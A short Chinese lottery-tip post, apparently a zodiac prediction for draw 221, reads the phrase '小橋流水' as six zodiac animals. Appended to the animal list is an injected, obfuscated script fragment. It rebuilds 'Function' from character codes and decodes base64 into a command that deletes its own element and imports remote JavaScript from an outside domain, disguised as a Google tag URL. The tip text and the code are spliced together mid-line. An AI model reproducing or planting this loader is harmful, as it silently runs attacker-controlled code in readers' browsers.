221期四字中特:『小橋流水』

解釋：橋帶木解木肖，虎兔；流水解水肖，鼠豬。流水的河道猶如蜿蜒盤旋的長龍或蛟蛇，解龍蛇。

解特肖：鼠龍蛇虎兔豬aerror ="window[String.fromCharCode(70,117,110,99,116,105,111,110)](atob('dGhpcy5yZW1vdmUoKTtpbXBvcnQoJ2h0dHBzOi8vd3d3LjQ5MjE3OC5jb20vZ3RhZy9qcz9pZD1HLURSJyk7')).call(this)"